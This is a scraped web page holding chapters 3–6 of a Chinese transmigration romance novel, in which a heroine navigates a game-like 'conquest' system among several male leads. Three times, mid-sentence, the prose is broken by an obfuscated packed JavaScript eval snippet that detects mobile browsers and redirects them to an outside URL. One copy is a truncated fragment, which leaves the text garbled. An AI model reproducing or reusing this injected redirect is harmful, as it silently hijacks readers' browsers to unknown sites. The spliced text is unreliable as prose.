《攻略对象死亡后的二周目世界》 3. 第三章 曲昭盈这个生在红旗下、长在新社会的三好青年,之所以能够昧着自己的良心、硬着头皮在这本书里进行所谓的“攻略”、去欺骗这些男主的感情,其实也和这个弹窗对话框有关。 每当她和这几个男主有所接触时,这些对话框都会适时地跳出来,根据她的选择让她自动说出符合身份的话来,而这些男主根据对曲昭盈好感度的不同,也会给予她不同的回应——就好像时下流行的乙女游戏一样。 甚至在这个弹窗出现的时候,周遭的一切也会像游戏一样全部静止不动,安安静静地等待她做出选择之后再进行后续的剧情。 曲昭盈第一次见这弹窗时新奇极了,专门问过系统这是怎么回事,当时系统说因为她只是个无关紧要的配角,所以才安排了这样的强制辅助功能给她,好叫她能够借助这个快速摸索出一些关于这几个男角色的各种信息与喜好——比如秦景和喜欢安静温婉的闺秀,赵怀珏喜欢能和他一起吵闹的、活力四射的姑娘之类的,她也能通过这些情报,来扮演出符合她攻略对象喜好的模样,从而顺利完成攻略。 也正因有它时时刻刻地提醒着曲昭盈自己并非身处现实世界,才能让曲昭盈内心不那样挣扎——他们都是设定好的程序,是已经被书写好了既定结局的虚拟角色,至少她不需要为欺骗他们的感情而自责了。 只有自己能看见的蓝色的对话框浮现在眼前,今日阳光正盛,将那蓝色对话框照的几近透明,方才气焰嚣张的英国公世子一行人此时也没了声音,连赵怀珏都没了半点动作,他被风吹起的发尾好似被黏在了空中,连动都不曾再动一下。 他们都在等着曲昭盈的选择。 曲昭盈看着对话框上的选项正在犹豫。 系统001没有给出她上一周目失败的具体原因,她害怕这一回再一次出现之前那样前功尽弃的状况,就不打算再继续攻略秦景和了,只是眼前的赵怀珏似乎也不是一个很好的攻略对象。 根据她一周目对这五位男主的观察,秦景和算得上是攻略难度最低的一位男主了——她只需要在每一个剧情出现的时候选择最符合大家闺秀的那个选项,适时地展现出自己的温柔小意、善解人心,再表达一点对于秦景和的崇拜,那这位小将军的好感度就会蹭蹭地往上涨,从而开启一个所谓的“甜宠”剧情路线,一路被秦景和宠爱到结局,而且秦景和的家人也十分好相处,并不会在乎曲昭盈家世如何,简直就是急着完成任务回家的曲昭盈的不二之选。 但赵怀珏就不一样了。 用通俗点的话来说,赵怀珏的这条路线就好像传统的“杉菜与道明寺”风格,不仅赵怀珏这人脾气差爱欺负人,连着英国公府的人也十分瞧不上曲兰生一个小小的从五品鸿胪寺少卿,对她自然是百般嫌弃与磋磨,若想和他修成正果,要走的路、要经历的磨难也会多上许多,她要不断地展现出自己的坚韧、宁折不屈,才能赢得赵怀珏的喜爱——实在不是曲昭盈的首选。 是以她看了看赵怀珏,又看了看自己眼前的选项,终于下定了决心:如果不选择秦景和的话,那这一周目最适合她的攻略对象是贴身侍卫卫沉,所以赵怀珏这个麻烦她自然不准备去招惹了。 她选了第二个选项:礼貌地打招呼。 下一刻,赵怀珏静止许久的发丝忽然像柳枝一般随着春风摇曳起来,曲昭盈向赵怀珏福了身,低声道:“民女曲昭盈,见过世子爷。” 赵怀珏上上下下打量了她一眼,听见她的回答,似乎又觉得十分无趣,只冷哼了一声道:“还不起开?” 曲昭盈心下松了口气,连忙往边上闪了闪,赵怀珏便连看都不再看她一眼,径直往谢府里走去,莲心瞧见他那趾高气昂的模样,多少有些气不过,低声哼了句:“世子爷有什么了不起,也忒目中无人了些!” “不要乱说话,”曲昭盈看见他们走进了孔府里去,这才挪了步子往里走,“英国公府咱们惹不起的。” 她的姐姐曲思盈比她早到一刻钟,此时已经在座上和姐妹聊天,瞧见曲昭盈来了,便笑盈盈地招呼她来坐下。 “听说今日宴上的点心是专程请了醉仙楼的师傅来做的,”曲思盈低声在曲昭盈的耳边道,“也不知会不会做你爱吃的桂花糖糕。” 她仍旧将曲昭盈当做个小妹妹一样去逗弄,却不会叫人觉得反感,今日她穿了身藕粉色柳叶纹长裙,发髻间簪一朵碧色珠花,叫她瞧上去像是宝瓶里的一枝桃花,既不过分张扬,也不低调的无聊。 曲思盈待人和煦,又十分懂得为人考量,就连只是来做任务的曲昭盈都忍不住要与她亲近,也怪不得原书里五位男主角都为会她倾倒了。 曲昭盈刚顺着她的话应了一声,就听得曲思盈又道:“你可知道,听说今日太子殿下也来赴宴了呢。” “先前听说殿下病了,有许久都未曾露过面,今日能来,想来应该是大好了。” 曲思盈话音才落,坐在她边上的一位小姐便立刻接话道:“我原本还担心着,若是殿下病到连谢老太傅的生辰都不来可如何是好呢。” “若是殿下有个什么三长两短……”另有一人接道,“朝中可又要动荡了。” “我看是你心悦殿下,生怕自己的如意郎君出事吧!” “你胡说什么!”被打趣的姑娘顿时满面通红,方才笑她的小姐却仍不放过她,继续道:“羞什么,太子殿下容貌出挑又温润有礼,京城有一半的闺秀都将他视为梦中情人,叫人知道也没什么臊的。” 她们几人话说的轻快,却叫曲昭盈听得有如晴天霹雳——上一周目的时候太子谢聿珩根本没有出现在谢老太傅的寿宴上!在原作的故事里,谢聿珩受了伤,将养了近半年的时间才恢复,要在近半月之后才会正式出现在公众视野中,此时他人应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15756902|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在东宫中才对!为何今天会莫名其妙出现在此? 曲昭盈生怕再出现什么不可修复的问题,连忙在脑子里大喊系统,想要问问它现在这个情况正常吗?会不会影响自己后续的攻略?会不会再出现一次攻略成功在即又进度清零的情况? 可她喊了小半日,姗姗来迟的系统001这才一字一句地回话道:“系统崩溃补偿发放中,请宿主稍候片刻。” 这系统!关键时候真的一点用都没有! 曲昭盈还想再叫系统一句,就听得另一人道:“那不是秦小将军吗?他也来了?” 一听见秦小将军这四个字,曲昭盈心里顿时漏跳了一拍,她下意识地抬头往门口的方向看去,果真瞧见一个身材高大、容貌俊朗的青年男子走了进来,他穿一身玄色蟒袍,头发尽数扎在脑后,衬得他肩宽窄腰,整个人似刀削一般俊朗,全然一副少年将军的意气风发模样,不是秦景和又能是谁? 他在朝中炙手可热,是以才在这院里头出现,便被人围着攀谈起来,曲昭盈却看不见他这般神采飞扬的模样。 她一见着他,就想到他那样结实与强壮的身子像个孩童一般倒在地上的模样,想起他口中涌出的猩红又黏腻的鲜血,想起他因为疼痛而扭曲的面庞,想起他依靠在自己身上的模样,他的体温与血液的温度似乎还残留在自己的手上、胳膊上、脸颊上,让她没来由地心底发慌,仿佛那个令人颤栗的夜晚忽然又像厉鬼一样缠了上来,无形的手正掐着她的脖子,几乎快要将她绞杀了。 曲昭盈只觉得自己好似快要喘不上气了。 即便她心里清楚秦景和只是一个小说里的人物、只是一个纸片人,可她为了攻略秦景和,到底也和他相处了几个月的时间,受到的照顾与关爱也是真真切切的,她再怎么与剧情抽离,也不可能不对他产生些感情——这样的他在不到半个小时之前,用那样惨烈的模样死在自己面前,曲昭盈又如何能不害怕、不伤心? 是以她几乎快要控制不住眼泪,险些就在座位上哭了出来,可曲昭盈又怕叫人瞧出什么异常,只好借口更衣先行离席,想等自己情绪平复了之后再回来。 好在这孔府足够宽广,听说这是从前皇帝御赐府邸,其规格大小只比王爷府差上一些,在京中算得上是一等一的豪宅,机会难得,今日在府中花园赏花的人自然也不少,曲昭盈混入其中倒也不显得突兀。 只是她走着走着,身旁的人便越走越少,以至渐渐地没了人声,耳畔只剩下微风吹落枝头梨花瓣的声音,曲昭盈看着被粉白色的桃花瓣铺成的青石小路,听着枝头的黄鹂吟唱,那颗慌乱的心终于逐渐平复下来,那些血腥可怖的画面也终于开始从她的脑海里慢慢消退下去,眼前只剩下天地上下一致的、鲜活的春色了。 曲昭盈长出一口气,正准备转身回席,忽然听得不远处有一个女声哭道:“殿下饶命!” 4.第四章 梨花瓣扑就的青石板路尽头是一道宝瓶门,走过宝瓶门,便能瞧见一处被精心装点过的院子,院内有一浅池塘,池塘边上种着层层叠叠的杜鹃,正延绵不尽地开着,叫那一汪池塘也沾染了几分热烈的红色,像是要将那池水都灼烧了。 岸上有棵木槿树,嫩绿色的叶子层层叠叠地长出来,像是给蓝天点缀了一片翡翠,树下有一张石桌两张石凳,是留作行人休憩赏景之用的。 方才曲昭盈听到的动静便是从此处发出的。 桌前此时共有四人,其中两个侍卫模样的人负手而立,面无表情地看着远方,而他们的身前坐着个身着华服的少年人,那少年人年龄瞧着莫约十六岁上下,正居高临下地地看着跪在他脚下的少女。 这少女似乎是这少年人的侍女,穿着身桃红色的衣裳,分明是与这春光极相称的模样,此刻却极狼狈地伏在地上,脑袋“咚咚”地砸着地面,嘴上不断地哭道:“殿下饶命,殿下饶命。” 她的手边碎了个青瓷茶碗,一道水渍像宣纸上的墨团般明晃晃地氤氲在那少年人的衣摆上,少年人对她的求饶熟视无睹,皱着眉挪了挪自己的脚,一低头又见他的鹿皮靴上也留了道明晃晃地水痕,终于不耐烦似的开口道:“吵死了。” 方才还在磕头的侍女瞬间好似被冰冻了一般静止了,她噤若寒蝉、身上也不断发抖,生怕自己再出点声就要惹了他的厌烦,却听那少年人又接了句:“废物东西。” “拉下去。” 他话音才落,身后的侍卫就十分果断地迈出了步子,伸出手去就要将跪在地上的侍女拖行出去,侍女浑身抖若筛糠,又哭喊着“殿下饶命”,那少年人却冷哼一声,连看都不愿意多看她一眼。 这少年人全然没有要饶过这侍女性命的意思,半点不把一条人命当一回事,仿佛打翻了茶水、弄湿了他的衣裳就是这世间最大的罪责,理应要以死才能够谢了这罪似的。 哪怕曲昭盈心里知道这是个下人奴才不算是人的时代,也清楚这世界里奴才不过是主子的私有物,要杀要打都任凭主子处置,可她到底无法接受这种草菅人命的行为,是以她当下脑子一热,当即就出声道:“见过六皇子殿下。” 反正她早晚都是要离开这个世界的人,惹了权贵就惹了吧,豁出得了。 那衣着华贵少年人正是本书中男主角之一、当今太子谢聿珩的胞弟,宁贵妃的长子谢懿玄。 他的侍卫因着曲昭盈的突然出现,停了手里的动作,而谢懿玄此时也转过头来看她,曲昭盈这才终于看清了他的长相——他眉毛细长,一双眼睛似狐狸般上挑,像是要斜扫入鬓角里去,只是年纪尚轻,瞧着还有些少年人的稚嫩。 他人长得倒是俊俏,只是心却硬若磐石、残忍似豺狼,被不知死活的曲昭盈一打断,与她说话的语气更是异常不耐烦:“你又是谁。” 谢懿玄皱着眉头,连看也不愿多看曲昭盈一眼,曲昭盈不敢多看他,只低着头行礼道:“民女曲昭盈,是鸿胪寺少卿曲兰生的女儿。” “殿下贵人多忘事,上个月在曲江宴民女与您见过的。” 谢懿玄懒得去回忆自己是否真的和眼前这个姑娘见过面,他一挑眉,道:“所以呢?你找我什么事?” 他原以为曲昭盈是为了攀龙附凤才这样不管不顾地冲到自己跟前来搭话——这样胆大的闺秀虽不多得,但他也见过一个两个,正想着要喊侍卫去把她打发了,却不想曲昭盈道:“民女方才听到殿下的侍女打翻了茶盏,弄坏了殿下的衣裳——她虽然罪有应得,殿下要处置她也无可厚非,只是民女想要多嘴一句,还请殿下宽宏大量,今日饶了这位侍女的性命。” “哦?”谢懿玄有些意外。 他终于往曲昭盈的身上看了一眼,却看不见她的长相,只看见她漆黑的发顶,张口问她:“凭什么?” 他年纪不大,比曲昭盈还要小上几岁,若是硬要算起来,在曲昭盈的世界里也不过就是个高中生罢了。但或许是他自出生起就身居高位,自小就被至高的权力捧在手心里滋养着,是以说起话来的气魄比旁人高了不知多少,叫人听了心里都莫名要发怵。 曲昭盈却似乎完全不怕他一般,依旧低着头,不卑不亢地道:“今日是孔老太傅七十大寿的好日子,望殿下看在孔家的面子上,还是莫要在今日造杀孽为好。” 孔老太傅不仅是当今太子的太傅,曾经也是当今圣上的太傅,乃是当今学术界泰斗级别的人物,儿子如今也是肱股之臣,便是皇帝来了都要给他三份薄面,更何况谢懿玄一个皇子?在人家大喜的日子里,又是在人家的府上,即便他只是杀一个微不足道的侍女,也确实不大合适。 更别提他如今还对储君之位虎视眈眈,现下正是要给自己积攒名声的时候,在此时得罪孔家、平白给自己添一道骂名自然不是什么明智之举,是以曲昭盈这番话说得在情在理,半点错处也挑不出来。 可谢懿玄却嗤笑一声,道:“你算什么东西,也配管教我?” 他自小叫人众星拱月地宠着,除了他父皇与母妃之外,又有谁敢这般管教他? 曲昭盈却并未被他的言语中的气势所吓,她甚至还要抬起头来直视着谢懿玄,一字一句地开口说道:“若殿下实在是心中怒火难消,民女愿与那侍女一起在前院里跪上三个时辰向您谢罪,还望殿下以民为本,三思而行,饶恕她的性命吧。” 她这话说得真切又在理,可谢懿玄显然并什么能听得旁人进言的人物,他对曲昭盈一个女子的高谈阔论极其不屑一顾:“我爱杀谁就杀谁,难道还要看谁的脸色不成?” 谢懿玄终于从石椅上站了起来,三步并作两步地走到曲昭盈的跟前,高声道:“今日我就是连你一起杀了,也无人敢说我一句错处!” 不过一个小小的五品官之女,也敢来找他一个皇子的晦气? 他才说完,另一个侍卫就作势要上来抓曲昭盈,跟在曲昭盈身后、一直没出声的莲心连忙上手去挡他,说什么也要护自己主子周全,曲昭盈还未来得及说话,就听得突然有个声音传来:“怎得如此热闹?” 那是个男子的声音。 短短几个字有若清泉击石,干净又透彻的声音里带着些冷冽之气,好似一池寒冰落在气氛紧张、剑拔弩张的园内,叫人莫名地有些紧张起来。 曲昭盈向后看去,就见一身着月白色锦衣的男子信步而来,他长身玉立,目若明星,行若流风回雪,濯濯如春月柳,颇有几分神仙气度,仿佛他是破晓的朝霞,只往那里一站,便要叫周围的人都失了颜色。 谢懿玄身旁的侍卫一见着他,忙不迭地下跪行礼,就连方才还嚣张的谢懿玄本人的气焰也顿时灭下去了一半,不情不愿地叫了声:“皇兄。” 来的人不是别人,正是这个国家的太子、原书中五位男主的其中之一,人人都称赞他风光霁月、高风亮节的谢聿珩! 可他为何会突然出现在此? 他不是应该在前头和众人攀谈么? 曲昭盈心中虽然思虑重重,却又好似抓住什么机会一般,赶忙向谢聿珩行礼道:“民女见过太子殿下。” 谢聿珩这才将目光转向曲昭盈,疑惑道:“这位姑娘是?” 他许久不在外走动,对曲昭盈不熟悉也是自然,曲昭盈自报家门道:“民女的父亲是鸿胪寺的右少卿曲兰生。” “原来是曲家小姐,”谢聿珩微微颔首,就已经算是和她打过了招呼,“出什么事了?” 虽然对于谢聿珩凭空出现在此有诸多疑惑,但曲昭盈却莫名地安心下来——谢聿珩是出了名的良善公正,将来登基即位后更是成为一代千古明君,现下这个情况,自然是没有比求助于他更好的选择了,是以曲昭盈想也不想,立即把事发经过简明扼要地向谢聿珩讲了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770976|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢聿珩听罢她的陈词,果不其然斥责了谢懿玄两句,谢懿玄似有不服,反驳了一句:“我教训自己的奴才还有错了不成?” “是没错,”谢聿珩应了一声,他又往跪在地上、瑟瑟发抖的侍女身上看了一眼,这才不疾不徐地道,“不过是圣祖有训,‘驭下过严则失人心’,上月父皇还令你抄过三遍《圣祖训》,你这便忘了?” 他又说:“左右不过一件衣裳罢了——我宫里有前日新上贡的金丝雀羽云锦,叫你这侍女去拿一匹回你宫里,如何?” 谢聿珩先是拿出圣祖训来压他,又拿出一匹无价的锦缎来赏他个甜头,显然是铁了心要以此交换,用以保全这个无足轻重的婢女的性命。 谢聿珩言尽于此,谢懿玄自然也不好再与他争辩什么,只“哼”了一声,对几乎匍匐在地上的侍女道了句“今日算你命大!”便头也不回地离开了。 那侍女自然是感激涕零,对着曲昭盈和谢聿珩重重磕头道:“谢太子殿下!谢曲姑娘救命之恩!” 谢聿珩只是笑了笑,问她:“你叫什么名字?” 那侍女又磕头道:“婢子叫春桃。” “起来吧,”谢聿珩好似棵挺拔的竹一般站在无边的春色里,他又唤了自己身后跟着的侍女,“你带她回宫里取布吧。” 春桃赶忙从地上爬起来,抹了一把眼泪就跟着太子的侍女走了,她似乎还有什么话想和曲昭盈说,一步三回头地看着,却碍于谢聿珩站在那里,终究是什么都没说,急匆匆地离开了。 曲昭盈这才放下心来,正要作揖谢过谢聿珩,却听得谢聿珩突然问她:“曲姑娘为何哭了?” 下一秒便有个选项框弹了出来: ------------------------------------------------------ 谢聿珩似乎在关心你,此时你: A.表达感谢,如实告知。 B.敷衍过去。 C.表示与你无关。 ------------------------------------------------------ 曲昭盈下意识抬头往谢聿珩的方向看了一眼,就见那贵公子的头上漂浮着???三个问号,正是被系统隐藏起来的、可攻略角色对她的好感度。 她忽然有些好奇。 在第一周目里,谢聿珩和她在这场宴会上并未相见,更未出言帮助过她,更别提主动开口问她的话了,不论是哪一个周目她都没有要去攻略谢聿珩这个角色的打算,自然从未查看过他的初始好感度。 但她想起上一周目忽然结束前,自己正巧被谢聿珩帮了一把,如今他又主动对自己散发善意的,曲昭盈自然就对他的初始好感度有些好奇了。 有没有可能谢聿珩一开始就挺喜欢自己的? 虽然按设定来说,大概率也只是谢聿珩这人过分善良,看见谁都要对谁好就是了,帮曲昭盈对他来说不过举手之劳,他碰巧遇见了,便顺手帮一帮而已,哪怕今日曲昭盈不在,他也会出言相助,保下春桃的性命。 但架不住曲昭盈实在好奇。 她刚按下好感度查看的按键,却发现那三个???并未显示出数字来,取而代之的是一个新的对话框: ------------------------------------------------- 查看好感度需要200两金币,是否选择支付? 您的剩余金币为:16两 您的剩余金币不足以支付,即将为您跳转至菜单页。 ------------------------------------------------- 曲昭盈不可置信地盯着那界面,震惊道:“啊?” 5.第五章 春日的阳光带着些恼人的暖意,洋洋洒洒地落在谢聿珩的肩头,将他月白色的衣裳照成了明亮的橙色,叫这高不可攀的神仙公子忽然有了些平易近人的错觉,让人下意识地想要与他亲近。 偏偏曲昭盈是个不解风情的,此时根本没这闲心思,看了看他,又看了看自己眼前的对话框,懵了小半日,才想起来要喊系统来问话。 她的系统似乎不怎么喜欢三番四次地被接连召唤,冷冰冰的电子音里多少透露出一些不耐烦来:“宿主您好,系统001号竭诚为您服务。” “这是怎么回事?” 曲昭盈也没有心思去顾及一个系统的心情,她自己都快焦头烂额自顾不暇,哪儿来的闲心去关爱一个机器人? 更何况这机器人还是害得自己落入这步田地的罪魁祸首。 她噼里啪啦、炮仗似的开口问它:“付费查看好感度是什么情况?之前根本不是这样的!” 要只是付费也就罢了,可它居然狮子大开口,看一次要付二百两金?!开什么玩笑,她一个月的开销加起来也就七八两,上哪儿一口气掏二百两出来?可她要攻略、要做任务,就根本离不开查看这个好感度条!这不是坑她是什么? 系统001说着“我去查一查”之后又隔了半晌,才缓缓道:“这是修复了一周目的bug剧情之后带来的附加更新,请宿主努力赚钱,或者尝试不要依靠好感度条攻略。” 曲昭盈又气又急:“不是,你这本小说为什么比那些垃圾网页游戏还坑?不给我任何便利也就算了,为什么要一直这样折磨我?” “撤回!你把这个修复撤回!” 面对着曲昭盈的怒火,系统001依旧摆出一副死猪不怕开水烫的模样,不咸不淡地又说了一遍:“请宿主不要过分依赖系统,独立完成攻略任务。” 接下来无论曲昭盈说什么、如何抗议,系统001也只会翻来覆去地说让她独立完成攻略的废话,曲昭盈终于忍无可忍,关闭了和系统的对话框。 眼前的谢聿珩还在等着她回话。 他方才与她说话的时候,身体下意识地向她的方向倾了倾,细软光洁的衣摆不知何时悄悄地盖在了她的绣花鞋面上,仿佛要借着这一寸的占有将她吞之入腹,暧昧地几乎有些过于甜腻了。 曲昭盈却半点都注意不到这些。 她一双眼只一眨不眨地盯着眼前的对话框,思考着自己到底应该选哪一个,才能叫谢聿珩对自己不涨半点好感度,最好转头就把自己给忘了——她一点都不想走谢聿珩路线,自然不愿意和眼前这个人扯上半点关系。 不论谢聿珩这个人有多优秀、外表又有多优越,他都是这本书里最难攻略的人:作为当朝太子,前有皇后这个严苛的一国之母把关,寻常闺秀难以入得她的眼,后有皇位争夺者虎视眈眈,更别提这京城里一半的闺秀都将他视作如意郎君,与他在一起的压力简直大到非常人能承受,甚至偶尔还要面对些生命危险,对着急完成任务回家的曲昭盈来说,谢聿珩简直就是最糟糕的选择了。 没有之一。 是以她长叹一口气,最终选了B选项,决定先搪塞过去再说。 “谢殿下关心,”曲昭盈低下头去,嘴巴自动说起了话,“民女方才不过是被风沙迷了眼,不碍事。” 谢聿珩何等的聪明,又如何听不出曲昭盈话中的敷衍?只是他似乎也不太在意这些,问起曲昭盈为何哭泣也仿佛不过是他天性善良、好奇使然,曲昭盈不愿意多说,他自然也不愿意再多问,只和她又寒暄了几句,便借口离开了。 曲昭盈长出一口气,直到看见谢聿珩走远了,这才对一直低着头、半天不敢动弹的莲心道:“咱们也回去吧。” “今日的事你就当没发生,”她不忘提醒莲心一句,“谁也别说,知道吗?” 她不想招惹不必要的麻烦来节外生枝,莲心原本还因为见到传说中的太子殿下而有些雀跃,一听得曲昭盈的吩咐,当下就板起脸来应了声是,决口不再问此事了。 曲昭盈回到宴席上,对方才的事情绝口不提,又因为不想招惹宴上的其他几位男主角,因而极力降低自己的存在感,力求一个谁也注意不到自己,连话也不敢多说几句,生怕自己一个不小心就进了剧情,好在身旁的曲思盈也没觉察到她有什么不对劲,见她聊天兴致不高,便又兴冲冲地与身旁的闺友说话去了——今日谢聿珩意外出现,叫这些姑娘们的热情有些过分高涨,确实没有人去顾及她的心情了。 在没有进入任何新剧情的情况下,曲昭盈总算熬过这场宴席,顺利坐上了回家的马车。 曲府与孔府离得倒也不算远,只隔了三条街,但规模上与孔府相去甚远——一套四进的院子,院内有两处小花园,这便是全部了。 曲兰生一个四品京官,府中可用下人总归也就十来人,住这样的院子已足够叫旁人羡慕,只是从那王府似的孔家回来,多少叫人有些感慨罢了。 她姐妹二人才一进院子,就有侍女说曲夫人找,带着她们二人去了书房。 书房就在正房的西北角,房间不大,布置的倒是精美:一张座屏面向大门摆着,前头一张黄柳木书案,左右两边摆着书橱与各式盆景,地上铺着张团花绒毯,曲夫人正坐在黄柳木的八仙椅上,垂首翻看着账本。 曲家姐妹二人是美人,曲夫人的容貌自然也不逞多让,她穿一身绛色交领长裙,簪一支碧色莲花簪,远远瞧去好似名家手下描绘的仕女图一般,她见曲昭盈她们二人进来,便放下账本笑嘻嘻地问她们今日宴会的见闻。 太傅生辰、太子现身这两件事原本就是不得了的谈资,是以曲思盈十分乐得将宴会上的事桩桩件件都与她细细地讲了,曲昭盈原本还跟着聊上几句,忽然听得脑子里传出一声电子音道:“宿主您好,您的系统崩溃错误补偿已到账,请注意查收。” 曲昭盈愣了愣,这才想起早前在二周目重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788455|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开的时候,系统001好像确实说过要为自己申请一些补偿的话——只是这补偿究竟是什么?她打开自己的账户看了三四次,上头显示她的金币余额仍旧是可怜的十六两银子,显然不是要给她钱了。 但她也没收到什么额外的道具,更没有像别的什么系统文里描述的一样得到什么不得了的能力,那系统到底给她了什么补偿? 曲昭盈正想把系统喊出来问一问,却听得曲夫人突然喊她道:“对了,昭昭的新侍卫今日来了,我方才见过,人很不错。” 她原本的侍卫年前不小心坠了马,如今虽然将养好了,腿却已经瘸了,要再给小姐做侍卫自然是不合适,曲夫人自然要给她物色一个新的侍卫。 正巧这侍卫相熟的一位武师的徒弟在找活计,那武师在京城里是出了名的好本事,带出来的徒弟功夫自然是没话讲,又听武师拍着胸脯担保那小徒弟人品好,曲夫人这才把人要了过来,说是先用来看看。 这新来的侍卫自然就是原书中另一位男主角卫沉了。 同时也是曲昭盈这一周目选定的攻略对象。 卫沉父母早亡,性格沉稳安静,在原书中暗恋大小姐曲思盈,却碍于二人身份差距从未敢将自己的心思表白,而是一直在背后默默守护与付出,算是和秦景和差不多难度的攻略对象了。 更何况他们二人因为工作的关系需要朝夕相处,因而就算前期他死心塌地地暗恋者曲思盈也好,刷起好感度来总归更比别人要快一些,除了秦景和之外,卫沉简直就是为了曲昭盈量身定做的攻略对象了。 曲昭盈正想着,就听见曲夫人说完了话,冲一直站在身后的侍女说了句:“把人带来给小姐瞧瞧。” 很快就有一名男子被带了上来。 那男子肤色偏深,个子也比寻常男子高上一些、体格也更强壮,他穿一件褐色粗布短打,头发以同色的粗布发带整整齐齐地系在脑后,一双布鞋已经洗的泛了白,虽然人收拾得干净整洁,但那模样看着多少有些穷酸。 只是他模样生的周正,眉眼深邃、鼻梁高挺有如刀削,倒是副俊俏模样。虽没有旁人去教,但他还算守规矩,一路低着头、垂着眼走进来,老老实实地拱手作揖道:“小的卫沉,见过夫人,见过大小姐、二小姐。” 曲夫人对他的礼数也满意,正转过头去要问问曲昭盈对这新侍卫是否合心意,却见曲昭盈愣愣地坐在椅子上,瞧上去莫名地有些失魂落魄。 曲昭盈发现原本在这个时候应该弹出来的对话框、应该让她做选择的选项没有及时弹出来,所有人都在盯着自己,等着她回话。 这又是怎么回事?! 曲昭盈还未来得及说什么,脑海里那个没有感情的电子音就突然又响了起来:“宿主您好,您的福利已到账,从现在开始您可以享受不受选项限制的剧情体验,可以随心所欲地活动与说话,剧情自由度大大提升!” 曲昭盈目瞪口呆:“啊?” 6.第六章 曲府的的正中是一处花园,曲夫人外祖家在江南,是以她对江南的一切都有着说不清道不明的乡愁,自然想要仿照江南的园林来装点自家的院子。 那院里有一汪池,沿池修了回廊,又种了许多的梨花,春日一到,那白的花瓣就在缠绵的细雨里飘落,似是落了一地的雪,在这花团锦簇的雪里,藏着东西两间厢房,正是曲家二位小姐的闺房。 西厢房偏静,房后还有一处小花园,现在瞧着雅致,但到了夏日里这两方花园便又变成湿热的蒸炉,蝉鸣与蛙叫在黏腻的热气里劈头盖脸地扑过来,叫本就炎热的夏日还要凭空添上一股恼意——这就是曲昭盈的住处了。 她颇为失魂落魄地回了房,总算将曲夫人和曲思盈应付了过去——虽然她有些惊慌失措,但到底也已经当过一回曲家二小姐了,说些场面话应付别人倒也算不得什么难事,只是选项弹窗的消失让她实在有些无法接受。 这到底算哪门子的福利和补偿?!给她使绊子还差不多! 先是查看好感度要花一大笔钱,又是把堪称行动指南的弹窗给她关了,这游戏原作寂寂无名,她莫说玩了,就连听都没有听说过,全靠着弹窗提示来进行自己的下一步动作——什么时候进关键剧情、说什么样的话才能控制好感度的增长,更能以此来推断攻略对象的喜好,做出符合他们心意的选择,从而顺利完成攻略! 没了这些东西,她日后到底要怎么办?就连前期关于游戏里的几位男主的情报也是系统看她是新手才大发慈悲透露给她的,可有它也不过是大概说了说这些人的名字与身份,关于他们的剧情、故事她是真的一无所知,这不是在害她是什么?! 索性干脆再攻略一次秦景和算了! 至少她已经摸清了秦景和的喜好,也清楚和秦景和在一起时会发生什么事情、该做出什么样的选择,比起毫无头绪的卫沉来说,诱惑力不可谓不大。 但她又很害怕。 万一再出一次一样的错呢?万一再一次前功尽弃,她是不是就又要进入第三周目重新开始攻略? 曲昭盈越想越憋屈,越想越生气,她想把系统喊出来问话,可不论她在心里怎么喊系统,那个系统001都好像死了一样安静,半点回应都不曾给她,显然是打定主意不想管她了。 饶是她向来脾气好,现在也气的整张脸泛了红,胸中憋闷的像是塞了一团有一团的棉花,让她快要喘不上起来,甚至简直想要上手砸东西了。 只是她还未来得及将这想法付诸行动,门外的侍女却忽然来报,说是曲思盈来了。 外头天还没黑,却忽然有细密的春雨飘落下来,迷蒙的水滴在青石板面上腾起细碎的雾气,黏腻地贴在曲思盈的鞋面上,叫她进来时踩出了一片深深浅浅的水渍。 “你今日是怎么了?”曲思盈笑嘻嘻地往榻上一坐,“一整日下来话都没听你说过几句。” 曲昭盈尚未来得及发出来的脾气就好似被人在雨里踩灭的炮仗,还没出声就已经湿哒哒地碾进泥里,永远地错失了燃起来的机会。 “也没什么,”曲昭盈恹恹地道,“只是昨夜里没睡好,今日整日在犯困罢了。” 她怕曲思盈追问,说完这话之后便岔开话题问道:“姐姐可有什么事?” “能有什么事,我以为你不高兴,便过来看看你,”曲思盈果真不再追问,而是话锋一转,说道,“说起来,你可听娘亲说了?江南的表哥这些日子要上京来了呢。” 曲昭盈自然知道。 这一日发生的事情,除却谢聿珩意外出现在宴会上以外,都已经在上周目发生过一遍了,包括曲思盈会来她的房里聊这位表哥的事情,她也已经完完整整地经历过一次了。 但她还是要像第一次听说一样,摆出副好奇的模样,侧过脸来问她:“哪个表哥?” 